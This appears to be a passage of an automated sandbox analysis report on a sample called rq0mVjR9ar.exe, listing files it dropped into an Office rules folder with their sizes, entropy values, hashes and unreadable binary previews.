Preview:	<?xml.{DB5;.. .}.o../.^W.bI..x...J......_P.ke....{...R..w... o5j..S..^.3^&MY..G.........e.}/Ap)......t{..<..l_.d..C.^....bw .Ch..S...G,l....k....(_.le....6..f.5D...q..9;..5......m...z.o.:....h.T.......n....iTL.....,...g...X."0P=y...r-.\|.sp'=.yL.d.V))....mJ..coF..X4.o.7.-}F....ow_....}.../}.C..z..o'g.B...]..M...+..>..#.9.xE....~I..e~.d......;.....;.o.v...,A.0........LG.U..)S.!%.....jM.....X#/..... ..).y7.\|.9.$..].V.F.}..#X.:..n.G.gM`R.$.EF.,..Dg ...V)@.u..W.....F......&.......v$.5J...M..........rg6..;n..uzZgN..-w....k.'..xN..gl5..Ww..p..z..k:.x..2k\..6..c.`1G....R\G6..."....3v......S.....X.....KQ.62.}?;G..p....,f..@....'I.e\_.,+j.5..t2f...........NC>`..h..li<:.....?bs....'.h'....O....C...rOv.W.......d.rd.1...c.....A.....2b.U9.P.$#(o.K...d...}.7a.m.....87..F.\|)6*.@..<h...FP..W+.e.-{,.F.d..z~c..m^...~..Xh..w...."....(Z9....<.......m'.........-y4:{...'4=~..c8...r....$.....t..G.8.~u..1...E..v.i@\|9.Y%QY..P-.X..=oJ^.....ZW.\|c.....k...+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.873387739953062
Encrypted:	false
SSDEEP:	24:9USwOVQ9CP3rsQqA4PE1H30MH1qrMKJ3TWDS58o3lL96WQGS/iTkbD:9USLBP3IJDPEdkYmMKZTeo3LRiD
MD5:	AAD011C104B58485972ED97D0F5655A1
SHA1:	60F59CE5196D76E9386B81417DDFF0F55EA93ABC
SHA-256:	5976DC9D755843BB0B9F1790FE6705EFAA6AC58B26CEBF495D2E942838A9738F
SHA-512:	FF57164A626E3C0D43467918777909F086439480AB4FEC3AD1FFD4BEB95DC25EAA7E82B48218A8DEA242F5074C9FA80FC07C1FEA9D84B0AAD4D1793EEF19BD58
Malicious:	false
Preview:	<?xml...Y.......Uyf...l^.......o2h}...)..b...Q'...! g./...w\%>X.}.SJa..q.........6....[N...V.....`.1+~....[..I.....\|....F..M.$,.^....m../....t...K...m! %Jj.....oj...%....Ov.l#..m....1..g.8.l...#.i.@b..&.....g.1.^Z.[..S...v.EZn...9.....m..N...r.WS.... .....z...h......>t$b=~\i.........t.......&8v.PY6.c....7.C...JV......'5z.dO...H9......_.....!Y.8?.....-.7.j7.LW}h/....I.6..e.Uh.M............AU..w...].\..F.F9..+^.P.....3..o..5....hW=..{o.h.....).R..t..vaBY.).CjUI....J.k.=(....S.ifG'#%....2....`N...x..,....&..x.[..r..#.<.>.........\|.....&F....R7`.1/..C'..`.l.....^....b8^R`....$...H..J.d..r.....J.......+....O.sT.....Q.`....j5\_.s..K...v.'.3i.h..+.._.....{^..........c..?{s..`2...;..G..0,.f.S.M....}.-v8..A.W..........t.......[..d....vz..bPf)>....._e..8....%...A,c/?......R...R.{....{jP..n..~M.Dgz...OrN.swe(1.GA%D..OT.l?=...-.{.l`.....u........1$...v.!......obE.....L....Z.m..N...~cG.8.:e...#e.. .r.Y&l.!o.....6g.<'.l......;..*.1B.L.....N....>M..m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.889538445229679
Encrypted:	false
SSDEEP:	48:4MoyB899uqZ3XcH/lnrvQjyZMSbzEvBfroaq5iD:yZuq1cH/FvEKMSbioxI
MD5:	B7B0A91B78F1D99D75B0537ED2C4B3D8
SHA1:	CF281BA0FBE5AEC48DC4E1CF9082E6C0490E7D4A
SHA-256:	1417AC738716B440D47A96D81AD5CE84A6AEEC1138B7552076DEBE0B43765802
SHA-512:	297D583863F642812BE6B22BF10242066F62B999BDFDD01EDEC0AF42126A9021EB831B510F4899CB27ED9F7BDA9ED3D4C510246E5312061D30B70936C3495999
Malicious:	false
Preview:	<?xml.VQ..m..p.}t..-.VRF.p..7..e.....J.49.....bCUi4.\|.m...PI..k..G.....S8..R......L.....11=.U.~P1..\|..........u..........VZ..g.Q..M\|-.%sWM.I.........Z.T."a..)V.........B. N.ir...?.&.YU......(.e].$J.g.{f4&f.w..x...+..V.}..\|I.q.3...N.S..[\|x..cs,.......?.{..6...... ...ftf.....ya...Y.Y......&,.mL.'.n}+T`.o.O.@.e......X...[I..`}%F.;.Q....@@.~"."....T....e0=P.G<PL..P.....=..fg.Y.F......c......p...u].8...X...b......v>.,r.u.'p..[..-..U.=+<.-....h..U.(..1.7.L.IHt..p.(.a.m5 ..@4>h<.G.......<.L.E8..u7w.....h.zb$6VY..\Z......$%I...f.:8...^}._.^Y?.s.........iU.u..G0c.m\|.\.a.%.6...k....,1._.m.}..S.8j@...=.&.dj....,...#...V......O...w.ez5...Q.!O..u.2.6K..1k_U..a...2...x.....S...k.0+.=.!.. P.97....P?..]..Z.F&..u......`=m.8...j...8....OI....b.t.mKS~$......T..4....,.~....>..H_q...3..._sy]..V.TU.....x0..M.C....N\|..b?g.2..f.r....Mk....=...Rf.l..A."HP...S3.....]..jL..q<.D.q...H.4^i.EtHm]..Hq...E(B.Da..5...s\|c....`;.8t..J..d..3...........r..n.\.}.i`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.880006850748437
Encrypted:	false
SSDEEP:	48:9y0lAjibr76IQbrGoG5bkbtlF1E/Ud/P7GQMFsFaRfiD:s0lALIQ/raQt1E/o6bY
MD5:	89490B633B7AFDE5FC1133110BB7D007
SHA1:	E267A30E6DCA2E0E3CD7013B6DC8416E1B03CE30
SHA-256:	4969493EF26EFA36865B24A7EBE156DBCCB8AFC439B964C29E257823508AA641
SHA-512:	4B5E4FBA3B54507580F11F20C0297742A500C9E276E398221AE58B4F7B95DD703E8723C13CB501CB54A44408BFAF149DD69FA4C3057DD7C54C7901B617F60DD6
Malicious:	false
Preview:	<?xml..+.H...g.U..^1U...c...&.-.?..(...S.)....GD]..J......A.=.......7.....{K..Fj]..C9. ..%.n.Q......QN.+E..qL...W/.K)~...9+...qF...]..-.u.[.J.!v)..5i....G...%;..f..s6w.L..X..I.\|.j.....Z.Ytz+.J.$..M...O..I..9.........@_d...<.....<0`.I.a.X...:..K@f...d.r./..j..a...y.....Y.V..N...k8....."..[...........u..4.".<.X..)F9y`c.O ......QS..:%Uo%....%..w.I8j.>.....e._..a.R)C....<.%.[..pD.H..G..8n.....b..IQ.......K.xz..9.TB6P9...Y.C..j+.Ys.....b.q..+..=..........@g1@j.......d.....7.%.v.z...h........h.-.....>.<.mT...'....P.;L....^..;....h.....h.#...,~}.v<..]3D5W.`..I..........P....E..H.]g...9.i....M....j+Z..._.oP.@.m.+5u...,...$......b..r..4...Z..Q....'.d..6yQ..(.(Go..5.1...Z.j...>..#..V<4.#...i....n..j..o.?...W.VY7.SJ../G.Nh..i."....~.TS..~...P....Kr.K^.}F....Q.@..."..y.+...4...!.../.=.}.4D.W.Hy.f...>\|g&..NM..O...dW..%.>>. ...@4.x..x...;.I.JXi.8...&0+.#6W.G!..sU.3e...J.H#...../A.!....z.....VI.p..z.X..v..!.w?%c.F....X;g?1.J.T'..n.f....E.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.892015963296095
Encrypted:	false
SSDEEP:	48:wXnAcFY8uwcbcL1lB+NFLJ7OYgTc8u0m0AiD:Epbcb21lBuLycJ0jf
MD5:	26E3D82A1ACF54965B4B5B95624DE1ED
SHA1:	E6E5D1FB021737D1EFA6C4E66055057D878A3EC3
SHA-256:	B4FE16420B1E6234FAD0B764FDDBAFA06320070570AB6E3D196D07C0764CFAF6
SHA-512:	56A305D06E2F53BB28C0ECE7CBA053BBCA5181D050BEFB998066B68E6588938831D7F87D397DBFF98E1AB61A055CBCA5B9C3A8521B5E377C4A3A20C4A7B726FC
Malicious:	false
Preview:	<?xml..;4..p.S..1.y`...X.JOBc......@......1f..G.........t}.....FV..8...,...R.....A....[..v..-......(z.."m9..7...&.5.^T......0........X.MP'.Q..EH\....~.Hf..k..x..3cAbV.....\....5...$.1...8....\|.U.YN.\|;.E."j.O.....z.X.}..v......>6.&..t...._$.M.iE..P5......V.x.zc.....?o..T.B..c+.'zw`<v.[.?'.rn.E....Pem.<.@2A=e..OW..;o..O.Q.m.q1..f..f].o=..8;u..S....B.......&.0.<.]....a.......lC.VO{=n.Y.X........"}......[H.#%.j]k.EGI..D.s.\.A.P..yt....hr.4..Lj!.(%...DM.[.\g...{.....:..l.c.?........(7..f...u.z.....4...`...."W.......j.3E.d.?...... y.8*).}...[h.O-^.....M.:.P...J....C.ZC......Z.. ._v..8...=...`o...}....?....~...2..@[.F.7.S..,.[..0.kZO..p.&..;......@...\..h.....d....3... .K;2.w..zk....'..<J.6..U.._.3...<..HO..>..A.=.I..y.e!v04\3.<..&.^..=#.L.:RQ.n........+.T.Z...F^..m=...lo..!..b..L]./r-.:97........?..v_G.\|Ze..+'...;.....k..A./..kw......Vd.\|.EA....'..o.....W..A.]....k\....b...r....."...'3..1...yN..<z\\|..w.Pp...q.."D%...........?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.882060162131625
Encrypted:	false
SSDEEP:	48:kSz1yat6jGCp50R+qPOUpqvl48YnrNFWgiD:p1yaAWXUvi8B
MD5:	D83A1EECF435F36B248A6E52FAC142D1
SHA1:	2BE22249164D1E9FACAAB487F8D842A132754CAB
SHA-256:	8DA7F4168D0019901D96286D4027EDF8AE3037D2D9829EC71888B383C3433107
SHA-512:	CF644563D5E77B3CC404793E523A5ACD139A6C3040859398C2ED11682D6BB526F0237405C2DE980C60615D5BCB197DA53FC56A68A632967EE0395A5B83606E06
Malicious:	false
Preview:	<?xml...^..d..s....o...)?.....{.... Gz..3.t....8e...,7._.(.%h..a.H.t..L...z..T\|.......HR.p.......\|..... ...f.%.P{q...bwTQSK.....F......P..Y..."n..0..[.5.Zyf..\|.M.!..{Yr...U.49....d....?.w...uiO....G..I...UF.I..^.R.......)..5gugWv..+.F0.2m{.....QwL.gk./?jG.6.....8..J......@V.rJ..J.......?.Dk7R..36.*w....#@..et...t\|...".=.....3WJ......t=.kpG...).=^.e?W..p;.4<.Jf..p.L.Q.'F....}Y=..'...(p...O.z.".!..+N...~7<.d.TS2..Gi+.>.!...i.5.i.O..b3$......R.GQec.X .,b..$.../....X.....D.z(...0.....Y.g7..I.I...u..@..$O......\~\|=.\|...z......u..Cr....]$.}=..._6~...>..U~!@..W.........5.W.?......}.....<6.......l:5.....0.....g....n.}.. .......n9.....A..+#.G..hR... ^]A.x.b.Y.Z.".h.~yl....9...h].-;4..q..........L...../^z..........Il..Hv_:t......z.........^q6.Y'K"..&`.O..RKrI...=.9,.....odc.....(`.z.._a.4.r6...J..Ys.'.Z\|....]...I..i...v....b_8.?..w.z...N......".-.0..8..e.x`oA.$..X...J..II..q.!...J..^....f..&J...fH..._.Kubj%..Q..7Y.G.M..+..]..,Y\U2}n.IUa.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.894978516204391
Encrypted:	false
SSDEEP:	48:2SHTQB9pdJ76LMunug+L7T0nlTU0XW89i1+TezmnV6iD:HHcpzeVu7L7QlTUsW8i+KmVd
MD5:	B3093FE688E5D934F5F8157F17BDA8FE
SHA1:	C3C8C74D13269BC177454A6EAA3180EFA970001A
SHA-256:	1970633757EBA50A479079409D7DF71158426C28D4CDE62FDA03B2F59727F0F3
SHA-512:	833C00C2A4ABC429FA95071FA577EB28A74C577C5DD8305963730C7B8049181F29097B54600023FF1F3BF03329E75532A7C9BBAAE2395C59436A0221358B1AA6
Malicious:	false
Preview:	<?xml....Rns.6=.l.h.o.....q..y.......4).z._..KA..5B.v...9...e..L.p.....b5Xi. ..;....S../\|..@.>.O..U....y....v....P]5+.1<E.o.?..{`,2 .."...X.a.#(..5e.9..).C6...T..~...........&.....4.....q..$?..^.Xf.FG....,/QP....Y..!a......`....O...... ..s.....B....a#...,..d...z..z......l.qk0}.gw_..K.Vrh{.!G.y..R.1..#o.P........<..]'.....C1...<.?....D ...."..u.~..@M.h.\..S.....M.j=.\|..u...M..f.H2!3.GH{......\|..&..3k..=}m...n..\|..l.j.....<..~..5Ce.3;C.@.K..*.wjE.m..g3..W1a=].wrE...]o8E.A..$..u.w'/.Ct.s.. ......koI..A.....rA.P+m...m. ...r.n.".7.....pM....<dI..p...pt.........(j....(.%..@U.4.[r..H3%.6.....P....qJ.E@L.Z.,.D.X..Q.....[.v..b;....1w..}..v.7...bL....fc.b.1......L....6....Y=.U}....P..v).?....j../...._.P..iB...^3......(v..O=.....\|.c...n..4:'./... .Y.<;...H...........[..A.7.C...g/..G.;....A&.`)...pFW[R.O....G.#.........$..Zi.]....N.(...zd2.s.;..k.z.....9.-A."R3....a....4..s.4T.8........O........}.m...._..!.K.jfH&.I.....[QT.g.....DN_=".A.1..T...3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.886473862358572
Encrypted:	false
SSDEEP:	48:CaEatOPIZ4j2ox+SejBZ2FyDks7/M4+bbLivbV2hXSJlDGQzNiD:CSOPIKjjx+SejCFM71+HLeVC0DGD
MD5:	902AF90C3BDCFA794DD2034324E37DC0
SHA1:	D3A20984351A04C2BEB770827C163615CCAEFFEA
SHA-256:	F9D42B6C12DC94742144E8B39A36EB89D890DF917D34B88B796CC6F8E3008181
SHA-512:	3C11FFBD97B804B0D509832BFE3CF021D194801620824C43B9C3D417E8E33621ED85558916442ABF673D17DA0F3E76FA89655BB48C3F5443A9597A4F48517FE3
Malicious:	false
Preview:	<?xml.b.br.....P..K..c....".7S.h.i.#..{...3R..h.>E.~=.U.C....j..te.L..."....\:a.....4.........q.;....QX.W!....^].N(.........e....3g.9..M...J..S.......b../....).C.CCO.....6W.g..Ps....h...b....U.NV-....H.i6qc.....).x..e9.e.)..S...iW?U._...GO..L....F.$l.#'N....6.@yjI._$..^J....~.'.@.P5.M....9......X...f.r!.Z..#.=..~U...(..@l9..z.}..Uc..F.7...M.9_G_.`.5J..q..^5.'.uHyR...VZ~..AJ.oD&6..?Ye.&....$.4O.....W,......N.....'=...{..g.@..U'.@.yc.r.....].%i%.#q..l...N..X.&.5 .W....V[..to...A.v.f..3..%...#.h.iJ....+^T...D,w.#.....D.....ku..QX9y....X.o.~e..q...9..z<$z..#_O....n.&.......>..B.c..>..j#..)...70G.q\|.Z.G..2j,(.q..7fu..5qv$..W.6:.e.{..d..h\|.F..O?].{...'..z.N9....{....v....(.Rc/...Z}.].......0.eW.%]...E..gR7.?.kl./.h.0.R.^..U.H.\|~e..B].B./..W....@.Y.O@S.....%..0...{k`n....:.V"..CI..fz...P.?.ot..Z.%.1d...T.\..J.1.6..}.......km...?..q%..h<..!.4{nr.).L.,H3L[M.....@..%..kP..A... (...G.B.5..-.....Z...z.-...H....]}..N..I_A.....b.NY......:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.887287943630538
Encrypted:	false
SSDEEP:	48:UceEJi8GrTv26v8pW6h4IuUfIFzAdvU1eBe0y0CyqiD:UcIVrTvX7MuX9AdM1ezyk
MD5:	33650054CA4EE720834D45AA9E7DEA0D
SHA1:	7804736664DBC13FC126A19F72F57C72DC8BBEBA
SHA-256:	08FBA70A69606785A4FBA24C53BBE807373E33F8D94B24FC6A4717E47F0A6119
SHA-512:	235C99AC7497CFA12264AA7F30AC9707145C6A6D6B60F7A90585E671EE28B5A3350BCE7290CECA9DA205180C7E7CE86CD1D95820B981E882E6BB3444BD176373
Malicious:	false
Preview:	<?xml..i..6.....4.<..c.8bdkW..=......:..c.".3..e.HQPj6....N..Z.m..^.8.:...D...t0E.i+...&........^Vf.^.m.q#uz.4V.L..H.(...:..2.`g.9.41.1..o.4....D/..s..3..."......"....I.V.......Yn..G....h}P)i.9:.4x..N;........`..-../c.....d........0...M.....4O{!t.....T7X...s...p..r]....W.K?6..ko..........kc"....@....P.3.^..1[.t.V.t'.....0U.g..p4 x#.e#OP.v..Tw.~..l....n.....T..L8.....o...A..M.&S.\.1.......B.....A..z.o....[]..$_h....g.._F-f.......&....w7.hGc...sl&...~h..n.E..Q.x.G.IY...H:O.[z..+&......Wv..]....$D.t...n'.I..n.W.ZL\|...7..`.E.l...A..a[.~G..\^a.Wt....V..gg......40...:z%..1.`...&.&.:D..}S..%.i..B"......[.AG.C......#.P.f.......SO..A,_._0....-..s#.Z...>2..(//.`....M.BKug0...k..O].^...b..p..<^..U`..d."...!.w...:..W.R.`2e..0h.l...H...8.\..0;..~....-....VGb..F.1..]......n.tx9h..>...]..".C.8V.U...I...c.-.p..2.....K...u`....d....b.."..[0D.3.........M\.c.].1%..%.n../..r+H.F[g.iy..W........T..B............a{..7....& ..V..0%.....:Z....P..N.Sw_.[......#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.887673481714531
Encrypted:	false
SSDEEP:	48:ofiw9L+bhKXvS2EXMj8Haj0C8kJ1P3hDUbvH+ziD:ofiQLdJ1pQH
MD5:	CE20304834EC9BEB70A9653F001DB588
SHA1:	65BF085B4287E0806DE66041C5FF88EFFE6253B8
SHA-256:	55F396052F682C44487F801EEA8ED9AD8AC4982F41A08E4D1EC4C7A350C51031
SHA-512:	1E9B60961C3000B2D3FEC6CD375CB0C9292FAE9B8C57CAC8E215270E4B65077FFA9FF2E3894E3FEC0604F83B79272CA005F59BEE92134B25D9ECEA9C782DA6E2
Malicious:	false
Preview:	<?xml....P<w....&....2>..br...f._..7..r..}.&P...+.KX.1].y{N#M2._..E.,.9....1L?9...'!u!M.D.[~2k..J.W\|.0...~.....H&.E..6..lK..L{.....Y.,._E'q...-]Mg...(.,Wh.2..x.....^~C.G....+....9...x.r...#..0...p..@...F.<...c.s.w.....H.......B.&..L6[....@._.T..MB.t.[.....!..J...`../m.....E...@y.Q.xc..I......S.#..k6.2.A.3.E.Aw.R....Y.K~.u..!..b.o#2Z..kO.w}.nB......{.A..]....W.Xd..6.].0g..B...'......E.O.(.`.V..Cc..Rmd8.+`.J.$6#..8.Q...\|.Z:.V.....[.8....2..z v.....7..7..4....$_..w..\............$.L.gq.I.;.r.._.j.......P../I..K,#.\|...x..........cZ..bg..../e....D.q.b....T1/.mzQ......M\|...X..i%...y..m..7Z..$]...0U..a.....p<....5.o.!...$...........&.}.,p..F..K.,^....mNdRY7......_[.g.9...._..Q.../.".e.....W....&E\|NV. ...8....+]xJx...g.~RJ.eD..]..T:.\|S.uW1...\.=.....,M ..x.._%c...A..i..n".`<( ..._.{....s.n...P.....,.x.i..J.4...EM...;t..".E.N6....b"..B......./m..a............^p.Dz..j.x/.K.D7.I..w..(./.,qE.E5Q..6......1@.f0.4.%............\..z.M..f.!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.882724169270587
Encrypted:	false
SSDEEP:	48:V/mej32GOmcm1mi+9eROVAnvSNSPpx38HXiD:5mejHTccz+97AnvqAu6
MD5:	CB8E01938FDC4A9D38F36737D9DCBB6A
SHA1:	3B0F6DD42BF14888511791E440618307834354DB
SHA-256:	CD2FD0AF3CAB353D4EB48FA8E47B827E458585D7C8C5B2B016C712429A6D75D9
SHA-512:	79D9684B8659ACED560E5541A28D1078DD4324792A1614721DD0D8819376F4C6A86831CB6A53D2EA56A703E3385BE2CAD3D091DC7314AA720A852D08685F4CC3
Malicious:	false
Preview:	<?xml5...Vr..<R.jFD0Kp.....]bPe..nq.S......1..N.".)1.x.O.3c.s....H....5...x.a.K.t.~B..N.%.}j....$.f.X...#....!XW...K......~.).7.Y...)..p.p~.Bn.N!.ZU...I.}U......f...a.i..AJ.....0..2s.-U.VP.._....+JY.wxwLH..y.d..B[......PzR.W..s.6..r....x.$.m\|P..Y....]....l.:...VfW.O.F..qU\|G.g...............x0..[.....T......./....[%`..D_6m..a._...?.o...~....r.y.C..`...d.;.[.0..&.4.J..Y.!#.t..\....+@.%.d.Ss...@..^.u.Ua.N.#...t>.........>.3pI\d... ...HoA.....q.<CTkJo.}.....l>\|....._rN.'Fbse......$.Nx...2n..j..s^..s.......9.V8.Q...?k..tm.....9(Xp...i`..r....!P../.8.....nJ.y.B.....!x..h,..y........S.s./....5..q.O.p).%.F...,..`[..p3..LZ.yx......4.H.....D+.1=..p.........). G....UO..G-..2....c4g..........Tv.D.........1...J,V.....9...K...hJ.I?*r.....g..Y.eb...xL.=....w2N{..%..N....m.15u....W..F).~`..^p....tH..)...,c.o=....,M..}p.....3...Df.5.^.).1u..........<\|.{.....\.G.\.x.:.U..\.Z.CH1O$pY...Q_....[y.PQ-?#My..G.$U...~..{Y.:<....l&.t)1D...nm.l.&k.....LY..\|4...L.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.895698596986346
Encrypted:	false
SSDEEP:	24:4jJyPfZ3zQRosmGmepuXQt8Dt5uOL1ZCA5IraNL+t1N9fr5INW2WMwDw5MDS5iTW:4NyPfhGmAuX483LbFSrB9fuN/zwNiD
MD5:	4F7494002E06A56D091D7F57AC3E7620
SHA1:	728B437755CD9A29EC3215315B7951B22A6DA140
SHA-256:	FD3E094AFD17BE110355880933EE9645B1B81D4BE3CF81537B2DE94ED415E835
SHA-512:	91A4F016071461A91A94E5D65BEF364E86E41AB0CB505DBDDA207DBD019D61C2B4D0D9D2CF60535F03DE8320F366DBBF80A076C450B0005592AACE401F9C2867
Malicious:	false
Preview:	<?xml...[..6<.h..,_..X1W..s...<.Sb$A.k.p.......B..ahO.m.Z...%@...b....W....;......N.!J9..;..9W.z....G{n..iro..c..Cz...9I......~......\|...<....;o..P..B.....j4.},C.U>.....-..~..N.jR..n..kW.p..vG%L.4#...F.?.....A....v9..&.1KG....![B.\|.'...S.S...........sY.N....h.x.K ../..jY.W.i\..c...O.]a.,..Z.=......J=n=...*u[m%^[..r..,;LD..@X;.....pQ...{.l.....7Ki.....:.L...?.(g.cwt...... @..y....9n.!.s..a....9.....;.j.q...N.m.k8.Hs...Mxb.?BB.R.....g.W.....].A...+....~.7.=...[.}P.#..Q^.5L........r....75.h..d....,..X%..B.d..H.....v....!?o.[...I...(..$...Ks.>\|...]..^^:.....w.E...........N..T..z....wv..`.......@..C:&..x.o....;.i.....8.tQ;.<cO.D.B.$4...b.?.'.Md.\|.bc;...&..6i..........P.........5..tLp...WR.~<.~%..+......XT..b................\.%....6QW\..Y.R^....jE@B..x.J.W.=`.,.w.x.....=..~.Q...Kp.....Av.v........B.."!.U...f.....^....xn..(...No..!$M....d...N.#.\|..i...d8.2-..x.....U...C..9..^va...$..L.6aq.].G.d5....a...Vq..'...?....XL..j..........>..7.@.\Vjp+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.883893188529633
Encrypted:	false
SSDEEP:	48:E9POl2aPJ5D/W9T87ua5ksENDWQUV/neNiFG0AECiD:Eg2aPf/24PWWaqxAEV
MD5:	5530476F7ADE31F9870065F7A7212A6D
SHA1:	E3374133BBFC2080451E935D3CE08868B1C8370F
SHA-256:	2596B627F490EA39FB3FF7B997ADDBC523B91C593E4E7ECAD57668E8E72BDEDD
SHA-512:	709248F97C17E33C5FE2AF233082744B1F5F3DA1F871F52FEC35C69E10057AED07B9FE30086E1923B38124A4892D55F0A1EFFF29DF64D97128D76A97849FD4D3
Malicious:	false
Preview:	<?xmlW...S../.t..%....s.zAc......S`.n.b..~..H.......0....d.~V.../..#J..Y....e..M.C....^..#.`M.s....K.l.,MV..\|.\|7.)........U..(....D./.i>.!a.%=.3.N."Qh..\|..(.........&#....uzx..T._P."....-h....>....3c.f....L.!...#5\.=..c..........i........)G.tl.+....a=..?J$.v..;t.(.K.\/..:..0U...w.l_..:Z\.(V.!._$.:.....V.....[.eq...F....b..A1._i..Z.l>....<.a....G-.I....\|.@..h".DR:.4).{.#.ZS;.Z%...,9...ph.VS\|.c<.Y....qiAtN}.\|....,..ghQ...K.#S..AvZ..PC[....S...1..t~.....r......f%.y.1(...._.p....qq...<...1<...F.'......^....F..HH.5~....T.r...7..6#...P.w..R..\.I0...<O\..>....;.....9...}.2..7..=G6...N.....!.9.:\|.B..._.....E&.S.c.i..7.f.I.D...vB@Dq'5;..X.......B.o.r...}....&.Y.\.....YS....EU.zD. ...Ou..#...^.u...U...I...).&l..QrS.c0-.r...lg...R.......$...a...R.Z.^..h.[]_.Y.n.M&...oK.+....b.F(...F\.I..<.aVF.$.F......,.MX.\|.......b......x./.;.s...e.s.$L%."...).=........ ...Qv.@.....@.................9+N...p.....O...lX...u...V$1..R..`.T.....l.n.....,.......'c....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.876775892181118
Encrypted:	false
SSDEEP:	24:ORqZETanhX+568C5QVDmmIEZegpn04RSQ3UK/NsX8XFEbMepwIuaSh5ddd/fri61:ORIETuJ5QVR5ZegpnW0VsXJbLpQV5kiD
MD5:	0FD31DD64A33792A649822AEAC317A82
SHA1:	A853029BBEF5D7057AC5137AA49CC5D580F32122
SHA-256:	0F0AD26A05088F172F3F854072CC66539EFC6FDD8B8DD2231DA5A94F5F211686
SHA-512:	70F90DA588435C5951ECAB770CBF915F1AC94052E5540EFA8C25EA453687240396CD73121108E0E73BA37E61FF32E108F9400D3A1481997BBD02DEB0767B7218
Malicious:	false
Preview:	<?xml?G?.4..~M.g#m/...}.v..9.s69{k..SR....a._)aD....jC1k..BE.....TT......A1..2.A..[.O.--.. N.....'K..I.3.2.S8..H[ G9_.;z7DX...^6`.@...X.4....T/9`.6..\|/.\..h..Fh..z=\h..C..d.TN.T.K...O,.;...].}a.Y.6.F}.r6#.....2.hK~.!.=#&"\.#t\|um....[.l.c..z1...8.._..x4...~B.V..."c..Z..E..owN... .r#..0./..)V.../.?,Vw7.0c+..FIwI=.........3...:.2.K.6.7zI...z].?2%..(:.V0.^O.j..\7D.R.V./........[..T...xL.yPc.]..I...'/V.....8B.$....v...a.9b..e.....}0.w`....>..!^......b<..^.P...m./Y...$#....I..+Z.W.1..6?h........F.2..].5?.....]~..?.Y..czN.._v..wRm.3.w^.&d.u..8.....E..7...g,%-...9.....w&.q..Gn../....X)V.].E0($..._."...2....v^.W.-.C..Re...nh..{n..$.F .....6...2.2VS..g.Et.\FPkf#.a....y....!..Z....4\|....C(D..V.......V.u.P..,4.Q&o....mb..%.K.:.,..%(]~..7..?.o..y.<5.J'..2......O.t...Gz.d.i..&Z.u}5..'.3?B#.;gS..L..f....i.....\|...._sX\..U].l........px.....~.-..]s.S.uQ..V.@ia......L\|z....N.?...oXd.jU...i.C...p....^3..!.6....c@.......`...I.Ex......O..n.4..:^.....:-s.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.9010752005197755
Encrypted:	false
SSDEEP:	24:MxM74p265NRWRA7yCRz2EYZYAMepjqCPJ0dW2eMq0MeiTkbD:Mxks4e7yC2EfAMeRxPJzbMq0aiD
MD5:	376E7287440036ADB2A1B29685F2E3CC
SHA1:	5DCFBEF4CC030D51EE227E7ACB57673B51814306
SHA-256:	626BBB740A70D80E66FED4670CAFADD86975F788DD466DF23046340025F11308
SHA-512:	44EC09A2AFEF6ABED88A2EDE578F972822FE8DC1C12B43615B792BAC2BF26A492CAAC728C9482A6B4BA60BC2A740E9060E59288FAD6130CF6941B354173F55BA
Malicious:	false
